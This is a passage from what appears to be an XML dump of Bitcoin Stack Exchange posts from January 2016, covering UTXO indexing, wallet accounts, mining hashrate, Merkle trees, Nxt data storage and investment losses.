transaction A, where A &amp;amp; B are in the same block.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My goal is to maintain an index of addresses to UTXOs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I were you, I would keep an index of the &lt;code&gt;scriptPubKey&lt;/code&gt; and then convert an address to the scriptPubKey you need when you need to do a lookup.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-26T15:45:53.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42595" PostTypeId="2" ParentId="42553" CreationDate="2016-01-26T15:58:27.233" Score="1" Body="&lt;p&gt;Short answer is no. Accounts are a way to keep track of coins in &quot;sub-wallets&quot; of your wallet. When you receive coins to an address, the balance of that account is increased. After that, though, the link between those coins and the address balance stops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the address to a different account doesn't take all coins that the address has ever received with it, it only indicates that any future coins received on that address should go to the new account specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, moving the account balances doesn't change the amount received/owned on a particular address. Accounts are really just an accounting feature to keep sub-wallets, but moving money around in your accounts doesn't actually move them on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-26T15:58:27.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42596" PostTypeId="2" ParentId="42581" CreationDate="2016-01-26T16:16:49.050" Score="2" Body="&lt;p&gt;If you read a few lines after the BlockFound signal, you'll see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CValidationState state;&#xA;if (!ProcessNewBlock(state, chainparams, NULL, pblock, true, NULL))&#xA;    return error(&quot;BitcoinMiner: ProcessNewBlock, block not accepted&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.12.0rc2/src/miner.cpp#L373-L375&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.12.0rc2/src/miner.cpp#L373-L375&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the processing actually starts. &lt;code&gt;ProcessNewBlock&lt;/code&gt; is defined in &lt;code&gt;main.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-26T16:16:49.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42597" PostTypeId="2" ParentId="42582" CreationDate="2016-01-26T16:22:32.503" Score="1" Body="&lt;p&gt;If this is what you are proposing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address A: 1Axyz...&#xA;Address B: 1Bxyz...&#xA;Address C: 1Cxyz...&#xA;&#xA;Tx1&#xA;&#xA;A -&amp;gt; Multisig requiring 1 of 2 signatures from pubkeys of B &amp;amp; C&#xA;&#xA;Tx2&#xA;&#xA;Tx1 output 0 -&amp;gt; OP_RETURN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then yes, that's totally legal on the blockchain. Not sure why you would want to do it, though.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-01-26T19:48:01.393" LastActivityDate="2016-01-26T19:48:01.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42598" PostTypeId="2" ParentId="42576" CreationDate="2016-01-26T16:26:10.837" Score="4" Body="&lt;p&gt;I know of these two:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strike&gt;https://webbtc.com/script&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strike&gt;http://www.cs.princeton.edu/~tongbinw/bitcoinIDE/build/editor.html&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://siminchen.github.io/bitcoinIDE/build/editor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://siminchen.github.io/bitcoinIDE/build/editor.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitauth.com/ide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitauth.com/ide/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The first one in particular I have found to be very useful.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="13866" LastEditDate="2021-09-10T14:41:34.387" LastActivityDate="2021-09-10T14:41:34.387" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="42600" PostTypeId="2" ParentId="42541" CreationDate="2016-01-26T19:58:32.317" Score="1" Body="&lt;p&gt;Files and any other prunable data are maintained by all nodes for 90 days by default (controlled by nxt.maxPrunableLifetime in nxt-default.properties). The minimum value is 14 days on mainnet and 24 hours on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that pruning is performed at the same time as derived table trimming, which&#xA;by default is every 1000 blocks, so the actual removal of the prunable data&#xA;from the database will happen with some delay after their expiration time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A node can choose to keep prunable data longer, by setting the&#xA;nxt.maxPrunableLifetime property to a larger value. Changing this value only affects transactions received after the change. Pruning can be disabled completely by setting this property to -1.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2016-01-26T19:58:32.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42601" PostTypeId="2" ParentId="42571" CreationDate="2016-01-26T20:04:40.857" Score="1" Body="&lt;p&gt;It seems your friend is attempting to open an account at an online exchange, this is the general instance in which people new to Bitcoin try to make an initial purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that the account they are opening at an online exchange, is not just a bitcoin wallet, but also an exchange trading account. Currently the vast majority of online services do not make proper distinctions or delineations between the difference financial services they offer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create an account and associated set of keys to accept and transfer Bitcoin funds in the Bitcoin blockchain, one does not need to use a service, and may use any number of wallet software options. There are also free online services which do not require any identification to set up and host a wallet using their service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will not try to attempt to answer all the security related issues regarding wallet hosting services. This should be a separate area of inquiry for any new user of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any market, exchange, or trading platform where users can trade Bitcoin credits for national currencies, is managing transactions in those currencies, and will generally be attempting to comply with local laws respecting those transactions. It is at this point that these services are requiring identification of users, in order to comply with financial regulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The common practice of those looking to trade small amounts of Bitcoin credits for national currency, or vice versa, is to find ways to do so in person, rather than online. This usually done by finding someone to meet using an online service like &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins.com&lt;/a&gt; or &lt;a href=&quot;http://meetup.com&quot; rel=&quot;nofollow&quot;&gt;meetup.com&lt;/a&gt; and then meeting the person, or using a nearby Bitcoin ATM. In either case, small amounts of funds traded between the people or with the ATM are considered to be within legal limits of a non-reportable transaction. You may want to check your local regulations to see what those limits are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's good to keep in mind, for those who are new to Bitcoin, that there are two parts to any currency trade you are making for Bitcoin credits. The national currency transfer, and the Bitcoin funds transfer. The national currency transfer is the one that requires identification of users, generally speaking.&lt;/p&gt;&#xA;" OwnerUserId="26736" LastActivityDate="2016-01-26T20:04:40.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42602" PostTypeId="2" ParentId="42542" CreationDate="2016-01-26T21:29:40.693" Score="2" Body="&lt;p&gt;You can download your file using this API&lt;/p&gt;&#xA;&#xA;&lt;p&gt;localhost:7876/nxt?requestType=downloadTaggedData&amp;amp;transaction=nnnn&amp;amp;retrieve=true&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where nnnn = Txid of your uploaded file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search txid for all your uploads using requestType=getAccountTaggedData&amp;amp;account=NXT-XXXX-XXXX-XXXX-XXXXX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where NXT-XXXX-XXXX-XXXX-XXXXX is your account number&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your localhost is not hosting prunable data, retrieve from a public node which is a Service Provider (with PE &amp;amp; AI listed under Services) in your peer's list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OJpR4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJpR4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retrieve all Txids of all uploads for account NXT-TBAJ-LVLX-YCWY-5FRLD&#xA;23.94.134.161:7876/nxt?requestType=getAccountTaggedData&amp;amp;account=NXT-TBAJ-LVLX-YCWY-5FRLD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download PGP key of Core Dev&#xA;&lt;a href=&quot;http://23.94.134.161:7876/nxt?requestType=downloadTaggedData&amp;amp;transaction=633908232195174623&amp;amp;retrieve=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://23.94.134.161:7876/nxt?requestType=downloadTaggedData&amp;amp;transaction=633908232195174623&amp;amp;retrieve=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full set of API for Nxt Data Cloud can be found at&#xA;localhost:7876/test?requestTag=DATA&lt;/p&gt;&#xA;" OwnerUserId="32395" LastActivityDate="2016-01-26T21:29:40.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42603" PostTypeId="1" CreationDate="2016-01-26T21:31:58.950" Score="2" ViewCount="8687" Body="&lt;p&gt;Let's say I have four computers, each mining bitcoins at 5 Mhash/s. Is this the same as mining bitcoins on one computer with a speed of 20 Mhash/s?&lt;/p&gt;&#xA;" OwnerUserId="32399" LastEditorUserId="5406" LastEditDate="2016-01-27T09:23:13.990" LastActivityDate="2018-01-08T17:58:01.620" Title="Does mining with multiple computers add up?" Tags="|hashpower|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42604" PostTypeId="2" ParentId="42603" CreationDate="2016-01-26T21:51:39.530" Score="2" Body="&lt;p&gt;Yes, and that'll net you around 0.01 USD worth of BTC per year (as of January 2016), assuming your power is free.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-01-26T21:51:39.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42605" PostTypeId="2" ParentId="42603" CreationDate="2016-01-26T22:53:20.487" Score="1" Body="&lt;p&gt;Yes. More generally though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;x&lt;/em&gt; mining machines with an average hashrate of &lt;em&gt;y&lt;/em&gt; hashes per second will have the same chance of finding an arbitrarily low blockhash in a period of time as one mining machine with a hashrate of &lt;em&gt;xy&lt;/em&gt; hashes per second in the same length of time.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2016-01-26T22:53:20.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42606" PostTypeId="1" AcceptedAnswerId="42609" CreationDate="2016-01-26T23:27:22.897" Score="4" ViewCount="92" Body="&lt;p&gt;If not SPV mining, so-called &quot;empty blocks&quot; occur if there are no available transactions to include and is usually when the previous block was solved a short period of time previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason for this to happen more often if the previous block was solved by the same entity?&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="5406" LastEditDate="2016-03-09T08:07:31.300" LastActivityDate="2016-07-06T12:03:10.820" Title="Are sequential blocks more likely to be &quot;empty&quot; if solved by the same entity?" Tags="|transaction-selection|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42607" PostTypeId="1" CreationDate="2016-01-26T23:35:00.347" Score="3" ViewCount="38518" Body="&lt;p&gt;When investing in bitcoins can you lose any more than the total amount of currency with which you invested?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gentlemen, I see my original question has caused a bit of debate. I have been asked by someone to be more specific as the question seems to be causing some confusion. Let me give an example. If I invest 500 US dollars into buying bitcoins; let's say this is not money loaned, but my own money from my own personal savings account; let's also say that I do not trade or buy anything with these bitcoins. This is purely a financial investment with the hope of gaining a return one day of say, 600 US dollars; is it possible (maybe even likely?) that I could lose not just the 500 dollars invested, but also more than this, say 520, 550 or 600 dollars? You experts, please take account of all possible scenarios, fees and other hidden costs when answering my question. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="32405" LastEditorUserId="-1" LastEditDate="2016-01-28T10:06:29.620" LastActivityDate="2017-12-16T02:47:42.647" Title="Losses when trading with bitcoins" Tags="|trading|investing|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42608" PostTypeId="2" ParentId="42607" CreationDate="2016-01-27T00:15:27.817" Score="2" Body="&lt;p&gt;No you cannot lose money that you do not invest. The only exception to this rule is if you are trading on an exchange that offers the ability to short the market. (take a loan)&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-27T00:15:27.817" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42609" PostTypeId="2" ParentId="42606" CreationDate="2016-01-27T00:17:44.247" Score="5" Body="&lt;p&gt;It is actually less likely to occur by the same miner. The reason for this is the fact that the miner that found the Block will have already validated it, thus it knows which transactions from the mempool were used. If the block is mined by another person their mining software might not have validated the previously mined block yet, which causes them to be unaware of which transactions were included. Thus an empty block is more likely when it was mined by someone else.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2016-01-27T03:31:41.793" LastActivityDate="2016-01-27T03:31:41.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42611" PostTypeId="2" ParentId="42603" CreationDate="2016-01-27T08:47:51.650" Score="2" Body="&lt;p&gt;Yes, the hashrate adds up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But GPU mining ended in 2013. The tiny bitdust you will earn will never reach a mining pool's minimum cash out limit. So you will never see any bitcoin. This will be a pure loss consisting of spent electricity and worn-out hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could buy a USB stick for mining, for 10 USD. It would mine at a loss due to electricity costs. Even if you have free electricity it would never earn back the 10 USD. So this would also be a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to mine now is with modern stand-alone miners. They have a much higher hashrate and efficiency and they use a tiny built-in computer instead of connecting to your PC. You'll want to get one that runs 1 TH/s (1000 GH/s) or faster. You will not want to pay more than 0.30 USD per GH/s for a miner with power supply. You will need cheap electricity.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2016-01-27T08:47:51.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42612" PostTypeId="2" ParentId="42180" CreationDate="2016-01-27T10:16:39.660" Score="2" Body="&lt;p&gt;The main issue seems to be a misunderstanding of this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Synchronizing with network, 6 weeks behind.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This indicates that your wallet will be processing &lt;strong&gt;transaction data of the last six weeks&lt;/strong&gt; to ascertain whether any of it is relevant to your wallet. As apparently the &lt;code&gt;Langerhans Dogecoin Wallet&lt;/code&gt; is a fork from &lt;code&gt;Bitcoin Wallet for Android&lt;/code&gt;, this should take no more than a few hours depending on the computing power of your hardware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably, the wallet has to check the last six weeks because that's the &lt;strong&gt;age of the first addresses&lt;/strong&gt; it created. This would also explain why the message didn't show up on the other phone. As that wallet was new there couldn't be any past transactional data relevant to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backup file on your Google account is likely a binary file encrypted with your password specific to the wallet software you are using. You would use it by copying it to a smartphone with the Langerhans Dogecoin Wallet and restore it there. There may be other software that can import it as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To permit yourself more equanimity while familiarizing yourself with new cryptocurrency software, please consider testing with pocket change amounts at first.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-27T10:16:39.660" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="42614" PostTypeId="2" ParentId="42607" CreationDate="2016-01-27T18:44:37.353" Score="7" Body="&lt;p&gt;Yes, absolutely. Here's just one example of how this can happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You invest Bitcoins worth $100 in some kind of high interest scheme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You cash out of the scheme and get Bitcoins worth $200.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You invest those Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You lose them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The high interest scheme turns out to be a Ponzi scheme. You are &lt;a href=&quot;https://www.hklaw.com/publications/Ponzi-Schemes-and-Clawbacks-Investors-Pay-Twice-for-the-Crimes-of-Others-07-01-2009/&quot; rel=&quot;noreferrer&quot;&gt;sued to clawback&lt;/a&gt; the $100 value of the Bitcoins that were fraudulently paid to you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You lose that suit and now owe $100 on top of the $100 you invested.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another example would be if you unknowingly withdraw funds from an exchange that's insolvent, then reinvest and lose those funds. If the exchange declares bankruptcy, your withdrawal could be ruled a &lt;a href=&quot;http://www.nolo.com/legal-encyclopedia/adversary-proceedings-bankruptcy-preferential-transfers.html&quot; rel=&quot;noreferrer&quot;&gt;preferential transfer&lt;/a&gt; and you would have to repay it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2016-01-27T18:54:34.193" LastActivityDate="2016-01-27T18:54:34.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42615" PostTypeId="2" ParentId="1364" CreationDate="2016-01-27T19:21:28.287" Score="-1" Body="&lt;p&gt;Browsers could limit the amount of CPU capacity a website is allowed to use to something as low as 1&amp;nbsp;%.&lt;/p&gt;&#xA;" OwnerUserId="32432" LastActivityDate="2016-01-27T19:21:28.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42617" PostTypeId="1" AcceptedAnswerId="42618" CreationDate="2016-01-27T21:01:18.953" Score="1" ViewCount="319" Body="&lt;p&gt;I downloaded Bitcoin core today, and my got an address for my friend to send me some bitcoins. He sent them, and I didn't realise I should have waited until the blockchain downloaded, and this can take some time. My problem is, at the bottom (iOS) it just says 'synchronizing with network' and that's it? The bar is empty (not green or anything) and it hasn't downloaded anything yet. Could someone please help me!! I'm extremely worried I've lost the money my friend sent :(&lt;/p&gt;&#xA;" OwnerUserId="32436" LastActivityDate="2016-01-27T21:14:43.250" Title="Downloaded bitcoin core and it says synchronising with network, how do I get it to download the blockchain?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ClosedDate="2016-01-27T21:19:20.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="42618" PostTypeId="2" ParentId="42617" CreationDate="2016-01-27T21:14:43.250" Score="1" Body="&lt;p&gt;You have not lost the money, &quot;synchronizing with the network&quot; means that your Bitcoin Core is downloading the blockchain! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may take a few hours or days depending on the computational power of your computer. If you don't need them immediately, you can just wait until the synchronization is finished which is what I would suggest that you should do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are anxious to check whether the bitcoins were transferred, you can look up your address (that it was sent to) on one of the block explorers.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-27T21:14:43.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42619" PostTypeId="1" CreationDate="2016-01-28T02:29:22.507" Score="3" ViewCount="118" Body="&lt;p&gt;If insurance for Bitcoin were available for Bitcoin losses what kind of losses would the insurance cover?&lt;/p&gt;&#xA;" OwnerUserId="32440" LastActivityDate="2016-01-30T08:05:41.890" Title="Should you be able to insure Bitcoin the way banks insure bank accounts?" Tags="|security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42620" PostTypeId="2" ParentId="42619" CreationDate="2016-01-28T05:30:51.310" Score="1" Body="&lt;p&gt;It is covered by a cyber-insurance policy, the kind taken out by businesses that need to provide proof of security audits, etc. in order to get the insurance. NAIC lists things that would be covered (&lt;a href=&quot;http://www.naic.org/cipr_topics/topic_cyber_risk.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.naic.org/cipr_topics/topic_cyber_risk.htm&lt;/a&gt;), which includes;&#xA;&quot;Theft of valuable digital assets, including customer lists, business trade secrets and other similar electronic business assets.&quot; These policies are not typically offered to individuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem, and the reason why this is true, is that these policies are very expensive, relative to cost, and there is a adverse selection problem in insurance (&lt;a href=&quot;https://en.wikipedia.org/wiki/Adverse_selection&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Adverse_selection&lt;/a&gt;), as well as moral hazard (&lt;a href=&quot;https://en.wikipedia.org/wiki/Moral_hazard&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Moral_hazard&lt;/a&gt;) - so insurers won't ever fully cover these small risks that they can't observe or protect against, because they will end up losing money on them.&lt;/p&gt;&#xA;" OwnerUserId="31570" LastActivityDate="2016-01-28T05:30:51.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42624" PostTypeId="1" AcceptedAnswerId="42625" CreationDate="2016-01-28T14:07:21.000" Score="7" ViewCount="1943" Body="&lt;p&gt;I've been doing a lot of research about bitcoin, trying to understand it at the bit &amp;amp; byte level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering about the lookup efficiency of the Merkle tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found any evidence that Merkle trees are mandatory binary, which would allow a &lt;code&gt;O(log2 n)&lt;/code&gt; lookup algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a node may have an arbitrary number of children, then the lookup function would have a &lt;code&gt;O(logK n * K)&lt;/code&gt;, where &lt;code&gt;K&lt;/code&gt; is the maximum number of allowed child nodes (as far as I remember).&lt;/p&gt;&#xA;" OwnerUserId="21351" LastActivityDate="2016-01-28T14:44:04.800" Title="Are bitcoin Merkle trees always binary?" Tags="|algorithms|merkle-tree|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42625" PostTypeId="2" ParentId="42624" CreationDate="2016-01-28T14:15:52.513" Score="5" Body="&lt;p&gt;Merkle trees in general can have more child nodes, but the Merkle tree for transactional data in Bitcoin is a binary tree.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Merkle trees are binary trees of hashes.&amp;quot; –&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#Merkle_Trees&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin-Wiki Protocol Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;From these txids, the merkle tree is constructed by pairing each txid with one other txid and then hashing them together.&amp;quot; –&lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;noreferrer&quot;&gt;Developer Guide: Transaction Data&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This has the advantage that only a list of root, log&lt;sub&gt;2&lt;/sub&gt;(n) hash partners and the index of the transaction are sufficient to reconstruct a Merkle branch, allowing Simplified Payment Verification with much less data than the complete block.&lt;/p&gt;&#xA;&lt;p&gt;If I am not mistaken, the binary format minimizes the amount of hashes that need to be transferred for full reconstruction of the Merkle branch, e.g. for 16 transactions&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;binary tree: root + 4*1 hashpartners + txid + position&lt;/li&gt;&#xA;&lt;li&gt;three children tree: root + 3*2 hashpartners + txid + position&lt;/li&gt;&#xA;&lt;li&gt;four children tree: root + 2*3 hashpartners + txid + position&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Lookup is likely less of an issue than the wish to minimize bandwidth usage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;Yes, I'm committing the fallacy of &amp;quot;proof by example&amp;quot; here. ;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-01-28T14:44:04.800" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42626" PostTypeId="1" AcceptedAnswerId="42627" CreationDate="2016-01-28T15:05:20.197" Score="4" ViewCount="3236" Body="&lt;p&gt;Since bitcoin uses binary Merkle trees (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/42624/are-bitcoin-merkle-trees-always-binary/42625#42625&quot;&gt;just learned that&lt;/a&gt;), I want to know what would be the algorithmic efficiency for transaction lookup in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly how the data structure underneath the blockchain is organized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, each block contain a single Merkle tree, which can be related to the previous block tree by the &lt;code&gt;prevId&lt;/code&gt; field in its own block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given all that, I was wondering if, given a &lt;code&gt;TXID&lt;/code&gt;, I would be able to locate that transaction in the blockchain in logarithmic time (&lt;code&gt;O(log2 n)&lt;/code&gt;) as just a simple tree traversing, or if there are some hidden details I'm not considering.&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-28T17:06:02.243" Title="Algorithmic efficiency for transaction lookup in blockchain" Tags="|algorithms|merkle-tree|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42627" PostTypeId="2" ParentId="42626" CreationDate="2016-01-28T15:31:18.273" Score="4" Body="&lt;p&gt;No, you can't. The block chain is a linked list of blocks, and each block contains an array of transactions. Block headers commit to a Merkle tree of the transactions in them, but they are sorted chronologically, not by txid, so you need a linear search. If you want to find a transaction in a block quickly, you'll need an external index data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however also no need for that in normal operation of a Bitcoin node or wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For verification, a set (which is internal to the operations of a node, and not part of the block chain) of unspent transaction outputs is maintained, indexed by txid (the so-called UTXO set). This set represents the 'state' of the ledger at a given point in the block chain, and blocks can be seen as 'patches' to the UTXO set: transaction inputs remove (&quot;spend&quot;) entries from the UTXO set, and transaction outputs create new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets maintain their own set of transactions relevant to the user's balances. These are typically indexed, but much smaller than the set of all transactions in the blockchain, and often just kept in memory.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-01-28T15:49:02.940" LastActivityDate="2016-01-28T15:49:02.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42628" PostTypeId="2" ParentId="40894" CreationDate="2016-01-28T16:15:43.573" Score="2" Body="&lt;p&gt;Gridseeds are small dual-mode miners offering SHA256 and Scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vh7Rp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vh7Rp.jpg&quot; alt=&quot;gridseeds&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gridseeds have a very low scrypt hashrate (&amp;lt;400kH/s). The hashrate affects the share difficulty and therefore it's quite a good idea to offer a seperate mining port for low hashrate devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there are so many gridseeds still out there that it's worth to mention that on the pools help page.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2016-01-28T16:15:43.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42629" PostTypeId="2" ParentId="39132" CreationDate="2016-01-28T16:22:50.733" Score="8" Body="&lt;p&gt;The current gas limit can be checked on the &lt;a href=&quot;https://ethstats.net/&quot; rel=&quot;noreferrer&quot;&gt;network stats page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently &lt;strong&gt;3,141,592&lt;/strong&gt; (pi million). The gas limit per block is not fixed, though. The number of contract calls and standard transactions is limited by the gas limit, which is 1.2x of the exponential moving average. So there's only so much gas that can be expended per block, even though it can grow, of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that each call to the contract to the caller cost an amount of Ether defined by &lt;code&gt;(gas sent to contract)*(price of gas as defined by caller)&lt;/code&gt; so sending 10 thousend transactions per block could end up quite a pricey endeavour. &lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="-1" LastEditDate="2017-04-05T07:40:47.447" LastActivityDate="2017-04-05T07:40:47.447" CommentCount="0" 